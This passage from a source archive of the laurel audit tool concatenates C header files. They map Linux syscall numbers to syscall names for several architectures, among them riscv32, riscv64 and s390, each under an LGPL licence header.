_S(52, "umount2") _S(53, "lock") _S(54, "ioctl") _S(55, "fcntl") _S(56, "mpx") _S(57, "setpgid") _S(58, "ulimit") _S(59, "oldolduname") _S(60, "umask") _S(61, "chroot") _S(62, "ustat") _S(63, "dup2") _S(64, "getppid") _S(65, "getpgrp") _S(66, "setsid") _S(67, "sigaction") _S(68, "sgetmask") _S(69, "ssetmask") _S(70, "setreuid") _S(71, "setregid") _S(72, "sigsuspend") _S(73, "sigpending") _S(74, "sethostname") _S(75, "setrlimit") _S(76, "getrlimit") _S(77, "getrusage") _S(78, "gettimeofday") _S(79, "settimeofday") _S(80, "getgroups") _S(81, "setgroups") _S(82, "select") _S(83, "symlink") _S(84, "oldlstat") _S(85, "readlink") _S(86, "uselib") _S(87, "swapon") _S(88, "reboot") _S(89, "readdir") _S(90, "mmap") _S(91, "munmap") _S(92, "truncate") _S(93, "ftruncate") _S(94, "fchmod") _S(95, "fchown") _S(96, "getpriority") _S(97, "setpriority") _S(98, "profil") _S(99, "statfs") _S(100, "fstatfs") _S(101, "ioperm") _S(102, "socketcall") _S(103, "syslog") _S(104, "setitimer") _S(105, "getitimer") _S(106, "stat") _S(107, "lstat") _S(108, "fstat") _S(109, "olduname") _S(110, "iopl") _S(111, "vhangup") _S(112, "idle") _S(113, "vm86") _S(114, "wait4") _S(115, "swapoff") _S(116, "sysinfo") _S(117, "ipc") _S(118, "fsync") _S(119, "sigreturn") _S(120, "clone") _S(121, "setdomainname") _S(122, "uname") _S(123, "modify_ldt") _S(124, "adjtimex") _S(125, "mprotect") _S(126, "sigprocmask") _S(127, "create_module") _S(128, "init_module") _S(129, "delete_module") _S(130, "get_kernel_syms") _S(131, "quotactl") _S(132, "getpgid") _S(133, "fchdir") _S(134, "bdflush") _S(135, "sysfs") _S(136, "personality") _S(137, "afs_syscall") _S(138, "setfsuid") _S(139, "setfsgid") _S(140, "_llseek") _S(141, "getdents") _S(142, "_newselect") _S(143, "flock") _S(144, "msync") _S(145, "readv") _S(146, "writev") _S(147, "getsid") _S(148, "fdatasync") _S(149, "_sysctl") _S(150, "mlock") _S(151, "munlock") _S(152, "mlockall") _S(153, "munlockall") _S(154, "sched_setparam") _S(155, "sched_getparam") _S(156, "sched_setscheduler") _S(157, "sched_getscheduler") _S(158, "sched_yield") _S(159, "sched_get_priority_max") _S(160, "sched_get_priority_min") _S(161, "sched_rr_get_interval") _S(162, "nanosleep") _S(163, "mremap") _S(164, "setresuid") _S(165, "getresuid") _S(166, "query_module") _S(167, "poll") _S(168, "nfsservctl") _S(169, "setresgid") _S(170, "getresgid") _S(171, "prctl") _S(172, "rt_sigreturn") _S(173, "rt_sigaction") _S(174, "rt_sigprocmask") _S(175, "rt_sigpending") _S(176, "rt_sigtimedwait") _S(177, "rt_sigqueueinfo") _S(178, "rt_sigsuspend") _S(179, "pread") _S(180, "pwrite") _S(181, "chown") _S(182, "getcwd") _S(183, "capget") _S(184, "capset") _S(185, "sigaltstack") _S(186, "sendfile") _S(187, "getpmsg") _S(188, "putpmsg") _S(189, "vfork") _S(190, "ugetrlimit") _S(191, "readahead") _S(192, "mmap2") _S(193, "truncate64") _S(194, "ftruncate64") _S(195, "stat64") _S(196, "lstat64") _S(197, "fstat64") _S(198, "pciconfig_read") _S(199, "pciconfig_write") _S(200, "pciconfig_iobase") _S(201, "multiplexer") _S(202, "getdents64") _S(203, "pivot_root") _S(204, "fcntl64") _S(205, "madvise") _S(206, "mincore") _S(207, "gettid") _S(208, "tkill") _S(209, "setxattr") _S(210, "lsetxattr") _S(211, "fsetxattr") _S(212, "getxattr") _S(213, "lgetxattr") _S(214, "fgetxattr") _S(215, "listxattr") _S(216, "llistxattr") _S(217, "flistxattr") _S(218, "removexattr") _S(219, "lremovexattr") _S(220, "fremovexattr") _S(221, "futex") _S(222, "sched_setaffinity") _S(223, "sched_getaffinity") _S(225, "tuxcall") _S(226, "sendfile64") _S(227, "io_setup") _S(228, "io_destroy") _S(229, "io_getevents") _S(230, "io_submit") _S(231, "io_cancel") _S(232, "set_tid_address") _S(233, "fadvise64") _S(234, "exit_group") _S(235, "lookup_dcookie") _S(236, "epoll_create") _S(237, "epoll_ctl") _S(238, "epoll_wait") _S(239, "remap_file_pages") _S(240, "timer_create") _S(241, "timer_settime") _S(242, "timer_gettime") _S(243, "timer_getoverrun") _S(244, "timer_delete") _S(245, "clock_settime") _S(246, "clock_gettime") _S(247, "clock_getres") _S(248, "clock_nanosleep") _S(249, "swapcontext") _S(250, "tgkill") _S(251, "utimes") _S(252, "statfs64") _S(253, "fstatfs64") _S(254, "fadvise64_64") _S(255, "rtas") _S(256, "sys_debug_setcontext") // 257 reserved for vserver _S(258, "migrate_pages") _S(259, "mbind") _S(260, "get_mempolicy") _S(261, "set_mempolicy") _S(262, "mq_open") _S(263, "mq_unlink") _S(264, "mq_timedsend") _S(265, "mq_timedreceive") _S(266, "mq_notify") _S(267, "mq_getsetattr") _S(268, "kexec_load") _S(269, "add_key") _S(270, "request_key") _S(271, "keyctl") _S(272, "waitid") _S(273, "ioprio_set") _S(274, "ioprio_get") _S(275, "inotify_init") _S(276, "inotify_add_watch") _S(277, "inotify_rm_watch") _S(278, "spu_run") _S(279, "spu_create") _S(280, "pselect6") _S(281, "ppoll") _S(282, "unshare") _S(283, "splice") _S(284, "tee") _S(285, "vmsplice") _S(286, "openat") _S(287, "mkdirat") _S(288, "mknodat") _S(289, "fchownat") _S(290, "futimesat") _S(291, "fstatat64") _S(292, "unlinkat") _S(293, "renameat") _S(294, "linkat") _S(295, "symlinkat") _S(296, "readlinkat") _S(297, "fchmodat") _S(298, "faccessat") _S(299, "get_robust_list") _S(300, "set_robust_list") _S(301, "move_pages") _S(302, "getcpu") _S(303, "epoll_pwait") _S(304, "utimensat") _S(305, "signalfd") _S(306, "timerfd") _S(307, "eventfd") _S(308, "sync_file_range2") _S(309, "fallocate") _S(310, "subpage_prot") _S(311, "timerfd_settime") _S(312, "timerfd_gettime") _S(313, "signalfd4") _S(314, "eventfd2") _S(315, "epoll_create1") _S(316, "dup3") _S(317, "pipe2") _S(318, "inotify_init1") _S(319, "perf_counter_open") _S(320, "preadv") _S(321, "pwritev") _S(322, "rt_tgsigqueueinfo") _S(323, "fanotify_init") _S(324, "fanotify_mark") _S(325, "prlimit64") _S(326, "socket") _S(327, "bind") _S(328, "connect") _S(329, "listen") _S(330, "accept") _S(331, "getsockname") _S(332, "getpeername") _S(333, "socketpair") _S(334, "send") _S(335, "sendto") _S(336, "recv") _S(337, "recvfrom") _S(338, "shutdown") _S(339, "setsockopt") _S(340, "getsockopt") _S(341, "sendmsg") _S(342, "recvmsg") _S(343, "recvmmsg") _S(344, "accept4") _S(345, "name_to_handle_at") _S(346, "open_by_handle_at") _S(347, "clock_adjtime") _S(348, "syncfs") _S(349, "sendmmsg") _S(350, "setns") _S(351, "process_vm_readv") _S(352, "process_vm_writev") _S(353, "finit_module") _S(354, "kcmp") _S(355, "sched_setattr") _S(356, "sched_getattr") _S(357, "renameat2") _S(358, "seccomp") _S(359, "getrandom") _S(360, "memfd_create") _S(361, "bpf") _S(362, "execveat") _S(363, "switch_endian") _S(364, "userfaultfd") _S(365, "membarrier") // 366 - 377 originally left for IPC, now unused _S(378, "mlock2") _S(379, "copy_file_range") _S(380, "preadv2") _S(381, "pwritev2") _S(382, "kexec_file_load") _S(383, "statx") _S(384, "pkey_alloc") _S(385, "pkey_free") _S(386, "pkey_mprotect") _S(387, "rseq") _S(388, "io_pgetevents") _S(392, "semtimedop") _S(393, "semget") _S(394, "semctl") _S(395, "shmget") _S(396, "shmctl") _S(397, "shmat") _S(398, "shmdt") _S(399, "msgget") _S(400, "msgsnd") _S(401, "msgrcv") _S(402, "msgctl") _S(403, "clock_gettime64") _S(404, "clock_settime64") _S(405, "clock_adjtime64") _S(406, "clock_getres_time64") _S(407, "clock_nanosleep_time64") _S(408, "timer_gettime64") _S(409, "timer_settime64") _S(410, "timerfd_gettime64") _S(411, "timerfd_settime64") _S(412, "utimensat_time64") _S(413, "pselect6_time64") _S(414, "ppoll_time64") _S(416, "io_pgetevents_time64") _S(417, "recvmmsg_time64") _S(418, "mq_timedsend_time64") _S(419, "mq_timedreceive_time64") _S(420, "semtimedop_time64") _S(421, "rt_sigtimedwait_time64") _S(422, "futex_time64") _S(423, "sched_rr_get_interval_time64") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") _S(453, "map_shadow_stack") _S(454, "futex_wake") _S(455, "futex_wait") _S(456, "futex_requeue") _S(457, "statmount") _S(458, "listmount") _S(459, "lsm_get_self_attr") _S(460, "lsm_set_self_attr") _S(461, "lsm_list_modules") _S(462, "mseal") _S(463, "setxattrat") _S(464, "getxattrat") _S(465, "listxattrat") _S(466, "removexattrat") laurel-0.7.1/src/tbl/syscall/riscv32_table.h000064400000000000000000000167301046102023000167610ustar 00000000000000/* riscv32_table.h -- * Copyright 2024 Rivos Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * David Abdurachmanov */ _S(0, "io_setup") _S(1, "io_destroy") _S(2, "io_submit") _S(3, "io_cancel") _S(5, "setxattr") _S(6, "lsetxattr") _S(7, "fsetxattr") _S(8, "getxattr") _S(9, "lgetxattr") _S(10, "fgetxattr") _S(11, "listxattr") _S(12, "llistxattr") _S(13, "flistxattr") _S(14, "removexattr") _S(15, "lremovexattr") _S(16, "fremovexattr") _S(17, "getcwd") _S(18, "lookup_dcookie") _S(19, "eventfd2") _S(20, "epoll_create1") _S(21, "epoll_ctl") _S(22, "epoll_pwait") _S(23, "dup") _S(24, "dup3") _S(25, "fcntl64") _S(26, "inotify_init1") _S(27, "inotify_add_watch") _S(28, "inotify_rm_watch") _S(29, "ioctl") _S(30, "ioprio_set") _S(31, "ioprio_get") _S(32, "flock") _S(33, "mknodat") _S(34, "mkdirat") _S(35, "unlinkat") _S(36, "symlinkat") _S(37, "linkat") _S(39, "umount2") _S(40, "mount") _S(41, "pivot_root") _S(42, "nfsservctl") _S(43, "statfs64") _S(44, "fstatfs64") _S(45, "truncate64") _S(46, "ftruncate64") _S(47, "fallocate") _S(48, "faccessat") _S(49, "chdir") _S(50, "fchdir") _S(51, "chroot") _S(52, "fchmod") _S(53, "fchmodat") _S(54, "fchownat") _S(55, "fchown") _S(56, "openat") _S(57, "close") _S(58, "vhangup") _S(59, "pipe2") _S(60, "quotactl") _S(61, "getdents64") _S(62, "llseek") _S(63, "read") _S(64, "write") _S(65, "readv") _S(66, "writev") _S(67, "pread64") _S(68, "pwrite64") _S(69, "preadv") _S(70, "pwritev") _S(71, "sendfile64") _S(74, "signalfd4") _S(75, "vmsplice") _S(76, "splice") _S(77, "tee") _S(78, "readlinkat") _S(81, "sync") _S(82, "fsync") _S(83, "fdatasync") _S(84, "sync_file_range") _S(85, "timerfd_create") _S(89, "acct") _S(90, "capget") _S(91, "capset") _S(92, "personality") _S(93, "exit") _S(94, "exit_group") _S(95, "waitid") _S(96, "set_tid_address") _S(97, "unshare") _S(99, "set_robust_list") _S(100, "get_robust_list") _S(102, "getitimer") _S(103, "setitimer") _S(104, "kexec_load") _S(105, "init_module") _S(106, "delete_module") _S(107, "timer_create") _S(109, "timer_getoverrun") _S(111, "timer_delete") _S(116, "syslog") _S(117, "ptrace") _S(118, "sched_setparam") _S(119, "sched_setscheduler") _S(120, "sched_getscheduler") _S(121, "sched_getparam") _S(122, "sched_setaffinity") _S(123, "sched_getaffinity") _S(124, "sched_yield") _S(125, "sched_get_priority_max") _S(126, "sched_get_priority_min") _S(128, "restart_syscall") _S(129, "kill") _S(130, "tkill") _S(131, "tgkill") _S(132, "sigaltstack") _S(133, "rt_sigsuspend") _S(134, "rt_sigaction") _S(135, "rt_sigprocmask") _S(136, "rt_sigpending") _S(138, "rt_sigqueueinfo") _S(139, "rt_sigreturn") _S(140, "setpriority") _S(141, "getpriority") _S(142, "reboot") _S(143, "setregid") _S(144, "setgid") _S(145, "setreuid") _S(146, "setuid") _S(147, "setresuid") _S(148, "getresuid") _S(149, "setresgid") _S(150, "getresgid") _S(151, "setfsuid") _S(152, "setfsgid") _S(153, "times") _S(154, "setpgid") _S(155, "getpgid") _S(156, "getsid") _S(157, "setsid") _S(158, "getgroups") _S(159, "setgroups") _S(160, "uname") _S(161, "sethostname") _S(162, "setdomainname") _S(165, "getrusage") _S(166, "umask") _S(167, "prctl") _S(168, "getcpu") _S(172, "getpid") _S(173, "getppid") _S(174, "getuid") _S(175, "geteuid") _S(176, "getgid") _S(177, "getegid") _S(178, "gettid") _S(179, "sysinfo") _S(180, "mq_open") _S(181, "mq_unlink") _S(184, "mq_notify") _S(185, "mq_getsetattr") _S(186, "msgget") _S(187, "msgctl") _S(188, "msgrcv") _S(189, "msgsnd") _S(190, "semget") _S(191, "semctl") _S(193, "semop") _S(194, "shmget") _S(195, "shmctl") _S(196, "shmat") _S(197, "shmdt") _S(198, "socket") _S(199, "socketpair") _S(200, "bind") _S(201, "listen") _S(202, "accept") _S(203, "connect") _S(204, "getsockname") _S(205, "getpeername") _S(206, "sendto") _S(207, "recvfrom") _S(208, "setsockopt") _S(209, "getsockopt") _S(210, "shutdown") _S(211, "sendmsg") _S(212, "recvmsg") _S(213, "readahead") _S(214, "brk") _S(215, "munmap") _S(216, "mremap") _S(217, "add_key") _S(218, "request_key") _S(219, "keyctl") _S(220, "clone") _S(221, "execve") _S(222, "mmap2") _S(223, "fadvise64_64") _S(224, "swapon") _S(225, "swapoff") _S(226, "mprotect") _S(227, "msync") _S(228, "mlock") _S(229, "munlock") _S(230, "mlockall") _S(231, "munlockall") _S(232, "mincore") _S(233, "madvise") _S(234, "remap_file_pages") _S(235, "mbind") _S(236, "get_mempolicy") _S(237, "set_mempolicy") _S(238, "migrate_pages") _S(239, "move_pages") _S(240, "rt_tgsigqueueinfo") _S(241, "perf_event_open") _S(242, "accept4") _S(258, "riscv_hwprobe") _S(259, "riscv_flush_icache") _S(261, "prlimit64") _S(262, "fanotify_init") _S(263, "fanotify_mark") _S(264, "name_to_handle_at") _S(265, "open_by_handle_at") _S(267, "syncfs") _S(268, "setns") _S(269, "sendmmsg") _S(270, "process_vm_readv") _S(271, "process_vm_writev") _S(272, "kcmp") _S(273, "finit_module") _S(274, "sched_setattr") _S(275, "sched_getattr") _S(276, "renameat2") _S(277, "seccomp") _S(278, "getrandom") _S(279, "memfd_create") _S(280, "bpf") _S(281, "execveat") _S(282, "userfaultfd") _S(283, "membarrier") _S(284, "mlock2") _S(285, "copy_file_range") _S(286, "preadv2") _S(287, "pwritev2") _S(288, "pkey_mprotect") _S(289, "pkey_alloc") _S(290, "pkey_free") _S(291, "statx") _S(293, "rseq") _S(294, "kexec_file_load") _S(403, "clock_gettime64") _S(404, "clock_settime64") _S(405, "clock_adjtime64") _S(406, "clock_getres_time64") _S(407, "clock_nanosleep_time64") _S(408, "timer_gettime64") _S(409, "timer_settime64") _S(410, "timerfd_gettime64") _S(411, "timerfd_settime64") _S(412, "utimensat_time64") _S(413, "pselect6_time64") _S(414, "ppoll_time64") _S(416, "io_pgetevents_time64") _S(417, "recvmmsg_time64") _S(418, "mq_timedsend_time64") _S(419, "mq_timedreceive_time64") _S(420, "semtimedop_time64") _S(421, "rt_sigtimedwait_time64") _S(422, "futex_time64") _S(423, "sched_rr_get_interval_time64") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(447, "memfd_secret") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") _S(453, "map_shadow_stack") _S(454, "futex_wake") _S(455, "futex_wait") _S(456, "futex_requeue") _S(457, "statmount") _S(458, "listmount") _S(459, "lsm_get_self_attr") _S(460, "lsm_set_self_attr") _S(461, "lsm_list_modules") _S(462, "mseal") _S(463, "setxattrat") _S(464, "getxattrat") _S(465, "listxattrat") _S(466, "removexattrat") laurel-0.7.1/src/tbl/syscall/riscv64_table.h000064400000000000000000000170471046102023000167700ustar 00000000000000/* riscv64_table.h -- * Copyright 2024 Rivos Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * David Abdurachmanov */ _S(0, "io_setup") _S(1, "io_destroy") _S(2, "io_submit") _S(3, "io_cancel") _S(4, "io_getevents") _S(5, "setxattr") _S(6, "lsetxattr") _S(7, "fsetxattr") _S(8, "getxattr") _S(9, "lgetxattr") _S(10, "fgetxattr") _S(11, "listxattr") _S(12, "llistxattr") _S(13, "flistxattr") _S(14, "removexattr") _S(15, "lremovexattr") _S(16, "fremovexattr") _S(17, "getcwd") _S(18, "lookup_dcookie") _S(19, "eventfd2") _S(20, "epoll_create1") _S(21, "epoll_ctl") _S(22, "epoll_pwait") _S(23, "dup") _S(24, "dup3") _S(25, "fcntl") _S(26, "inotify_init1") _S(27, "inotify_add_watch") _S(28, "inotify_rm_watch") _S(29, "ioctl") _S(30, "ioprio_set") _S(31, "ioprio_get") _S(32, "flock") _S(33, "mknodat") _S(34, "mkdirat") _S(35, "unlinkat") _S(36, "symlinkat") _S(37, "linkat") _S(39, "umount2") _S(40, "mount") _S(41, "pivot_root") _S(42, "nfsservctl") _S(43, "statfs") _S(44, "fstatfs") _S(45, "truncate") _S(46, "ftruncate") _S(47, "fallocate") _S(48, "faccessat") _S(49, "chdir") _S(50, "fchdir") _S(51, "chroot") _S(52, "fchmod") _S(53, "fchmodat") _S(54, "fchownat") _S(55, "fchown") _S(56, "openat") _S(57, "close") _S(58, "vhangup") _S(59, "pipe2") _S(60, "quotactl") _S(61, "getdents64") _S(62, "lseek") _S(63, "read") _S(64, "write") _S(65, "readv") _S(66, "writev") _S(67, "pread64") _S(68, "pwrite64") _S(69, "preadv") _S(70, "pwritev") _S(71, "sendfile") _S(72, "pselect6") _S(73, "ppoll") _S(74, "signalfd4") _S(75, "vmsplice") _S(76, "splice") _S(77, "tee") _S(78, "readlinkat") _S(79, "newfstatat") _S(80, "fstat") _S(81, "sync") _S(82, "fsync") _S(83, "fdatasync") _S(84, "sync_file_range") _S(85, "timerfd_create") _S(86, "timerfd_settime") _S(87, "timerfd_gettime") _S(88, "utimensat") _S(89, "acct") _S(90, "capget") _S(91, "capset") _S(92, "personality") _S(93, "exit") _S(94, "exit_group") _S(95, "waitid") _S(96, "set_tid_address") _S(97, "unshare") _S(98, "futex") _S(99, "set_robust_list") _S(100, "get_robust_list") _S(101, "nanosleep") _S(102, "getitimer") _S(103, "setitimer") _S(104, "kexec_load") _S(105, "init_module") _S(106, "delete_module") _S(107, "timer_create") _S(108, "timer_gettime") _S(109, "timer_getoverrun") _S(110, "timer_settime") _S(111, "timer_delete") _S(112, "clock_settime") _S(113, "clock_gettime") _S(114, "clock_getres") _S(115, "clock_nanosleep") _S(116, "syslog") _S(117, "ptrace") _S(118, "sched_setparam") _S(119, "sched_setscheduler") _S(120, "sched_getscheduler") _S(121, "sched_getparam") _S(122, "sched_setaffinity") _S(123, "sched_getaffinity") _S(124, "sched_yield") _S(125, "sched_get_priority_max") _S(126, "sched_get_priority_min") _S(127, "sched_rr_get_interval") _S(128, "restart_syscall") _S(129, "kill") _S(130, "tkill") _S(131, "tgkill") _S(132, "sigaltstack") _S(133, "rt_sigsuspend") _S(134, "rt_sigaction") _S(135, "rt_sigprocmask") _S(136, "rt_sigpending") _S(137, "rt_sigtimedwait") _S(138, "rt_sigqueueinfo") _S(139, "rt_sigreturn") _S(140, "setpriority") _S(141, "getpriority") _S(142, "reboot") _S(143, "setregid") _S(144, "setgid") _S(145, "setreuid") _S(146, "setuid") _S(147, "setresuid") _S(148, "getresuid") _S(149, "setresgid") _S(150, "getresgid") _S(151, "setfsuid") _S(152, "setfsgid") _S(153, "times") _S(154, "setpgid") _S(155, "getpgid") _S(156, "getsid") _S(157, "setsid") _S(158, "getgroups") _S(159, "setgroups") _S(160, "uname") _S(161, "sethostname") _S(162, "setdomainname") _S(163, "getrlimit") _S(164, "setrlimit") _S(165, "getrusage") _S(166, "umask") _S(167, "prctl") _S(168, "getcpu") _S(169, "gettimeofday") _S(170, "settimeofday") _S(171, "adjtimex") _S(172, "getpid") _S(173, "getppid") _S(174, "getuid") _S(175, "geteuid") _S(176, "getgid") _S(177, "getegid") _S(178, "gettid") _S(179, "sysinfo") _S(180, "mq_open") _S(181, "mq_unlink") _S(182, "mq_timedsend") _S(183, "mq_timedreceive") _S(184, "mq_notify") _S(185, "mq_getsetattr") _S(186, "msgget") _S(187, "msgctl") _S(188, "msgrcv") _S(189, "msgsnd") _S(190, "semget") _S(191, "semctl") _S(192, "semtimedop") _S(193, "semop") _S(194, "shmget") _S(195, "shmctl") _S(196, "shmat") _S(197, "shmdt") _S(198, "socket") _S(199, "socketpair") _S(200, "bind") _S(201, "listen") _S(202, "accept") _S(203, "connect") _S(204, "getsockname") _S(205, "getpeername") _S(206, "sendto") _S(207, "recvfrom") _S(208, "setsockopt") _S(209, "getsockopt") _S(210, "shutdown") _S(211, "sendmsg") _S(212, "recvmsg") _S(213, "readahead") _S(214, "brk") _S(215, "munmap") _S(216, "mremap") _S(217, "add_key") _S(218, "request_key") _S(219, "keyctl") _S(220, "clone") _S(221, "execve") _S(222, "mmap") _S(223, "fadvise64") _S(224, "swapon") _S(225, "swapoff") _S(226, "mprotect") _S(227, "msync") _S(228, "mlock") _S(229, "munlock") _S(230, "mlockall") _S(231, "munlockall") _S(232, "mincore") _S(233, "madvise") _S(234, "remap_file_pages") _S(235, "mbind") _S(236, "get_mempolicy") _S(237, "set_mempolicy") _S(238, "migrate_pages") _S(239, "move_pages") _S(240, "rt_tgsigqueueinfo") _S(241, "perf_event_open") _S(242, "accept4") _S(243, "recvmmsg") _S(258, "riscv_hwprobe") _S(259, "riscv_flush_icache") _S(260, "wait4") _S(261, "prlimit64") _S(262, "fanotify_init") _S(263, "fanotify_mark") _S(264, "name_to_handle_at") _S(265, "open_by_handle_at") _S(266, "clock_adjtime") _S(267, "syncfs") _S(268, "setns") _S(269, "sendmmsg") _S(270, "process_vm_readv") _S(271, "process_vm_writev") _S(272, "kcmp") _S(273, "finit_module") _S(274, "sched_setattr") _S(275, "sched_getattr") _S(276, "renameat2") _S(277, "seccomp") _S(278, "getrandom") _S(279, "memfd_create") _S(280, "bpf") _S(281, "execveat") _S(282, "userfaultfd") _S(283, "membarrier") _S(284, "mlock2") _S(285, "copy_file_range") _S(286, "preadv2") _S(287, "pwritev2") _S(288, "pkey_mprotect") _S(289, "pkey_alloc") _S(290, "pkey_free") _S(291, "statx") _S(292, "io_pgetevents") _S(293, "rseq") _S(294, "kexec_file_load") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(447, "memfd_secret") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") _S(453, "map_shadow_stack") _S(454, "futex_wake") _S(455, "futex_wait") _S(456, "futex_requeue") _S(457, "statmount") _S(458, "listmount") _S(459, "lsm_get_self_attr") _S(460, "lsm_set_self_attr") _S(461, "lsm_list_modules") _S(462, "mseal") _S(463, "setxattrat") _S(464, "getxattrat") _S(465, "listxattrat") _S(466, "removexattrat") laurel-0.7.1/src/tbl/syscall/s390_table.h000064400000000000000000000237531046102023000161670ustar 00000000000000/* s390_table.h -- 32 bit * Copyright 2005-24 Red Hat Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * Steve Grubb */ _S(1, "exit") _S(2, "fork") _S(3, "read") _S(4, "write") _S(5, "open") _S(6, "close") _S(7, "restart_syscall") _S(8, "creat") _S(9, "link") _S(10, "unlink") _S(11, "execve") _S(12, "chdir") _S(13, "time") _S(14, "mknod") _S(15, "chmod") _S(16, "lchown") _S(19, "lseek") _S(20, "getpid") _S(21, "mount") _S(22, "umount") _S(23, "setuid") _S(24, "getuid") _S(25, "stime") _S(26, "ptrace") _S(27, "alarm") _S(29, "pause") _S(30, "utime") _S(33, "access") _S(34, "nice") _S(36, "sync") _S(37, "kill") _S(38, "rename") _S(39, "mkdir") _S(40, "rmdir") _S(41, "dup") _S(42, "pipe") _S(43, "times") _S(45, "brk") _S(46, "setgid") _S(47, "getgid") _S(48, "signal") _S(49, "geteuid") _S(50, "getegid") _S(51, "acct") _S(52, "umount2") _S(54, "ioctl") _S(55, "fcntl") _S(57, "setpgid") _S(60, "umask") _S(61, "chroot") _S(62, "ustat") _S(63, "dup2") _S(64, "getppid") _S(65, "getpgrp") _S(66, "setsid") _S(67, "sigaction") _S(70, "setreuid") _S(71, "setregid") _S(72, "sigsuspend") _S(73, "sigpending") _S(74, "sethostname") _S(75, "setrlimit") _S(76, "getrlimit") _S(77, "getrusage") _S(78, "gettimeofday") _S(79, "settimeofday") _S(80, "getgroups") _S(81, "setgroups") _S(83, "symlink") _S(85, "readlink") _S(86, "uselib") _S(87, "swapon") _S(88, "reboot") _S(89, "readdir") _S(90, "mmap") _S(91, "munmap") _S(92, "truncate") _S(93, "ftruncate") _S(94, "fchmod") _S(95, "fchown") _S(96, "getpriority") _S(97, "setpriority") _S(99, "statfs") _S(100, "fstatfs") _S(101, "ioperm") _S(102, "socketcall") _S(103, "syslog") _S(104, "setitimer") _S(105, "getitimer") _S(106, "stat") _S(107, "lstat") _S(108, "fstat") _S(110, "lookup_dcookie") _S(111, "vhangup") _S(112, "idle") _S(114, "wait4") _S(115, "swapoff") _S(116, "sysinfo") _S(117, "ipc") _S(118, "fsync") _S(119, "sigreturn") _S(120, "clone") _S(121, "setdomainname") _S(122, "uname") _S(124, "adjtimex") _S(125, "mprotect") _S(126, "sigprocmask") _S(127, "create_module") _S(128, "init_module") _S(129, "delete_module") _S(130, "get_kernel_syms") _S(131, "quotactl") _S(132, "getpgid") _S(133, "fchdir") _S(134, "bdflush") _S(135, "sysfs") _S(136, "personality") _S(137, "afs_syscall") _S(138, "setfsuid") _S(139, "setfsgid") _S(140, "_llseek") _S(141, "getdents") _S(142, "_newselect") _S(143, "flock") _S(144, "msync") _S(145, "readv") _S(146, "writev") _S(147, "getsid") _S(148, "fdatasync") _S(149, "_sysctl") _S(150, "mlock") _S(151, "munlock") _S(152, "mlockall") _S(153, "munlockall") _S(154, "sched_setparam") _S(155, "sched_getparam") _S(156, "sched_setscheduler") _S(157, "sched_getscheduler") _S(158, "sched_yield") _S(159, "sched_get_priority_max") _S(160, "sched_get_priority_min") _S(161, "sched_rr_get_interval") _S(162, "nanosleep") _S(163, "mremap") _S(164, "setresuid") _S(165, "getresuid") _S(167, "query_module") _S(168, "poll") _S(169, "nfsservctl") _S(170, "setresgid") _S(171, "getresgid") _S(172, "prctl") _S(173, "rt_sigreturn") 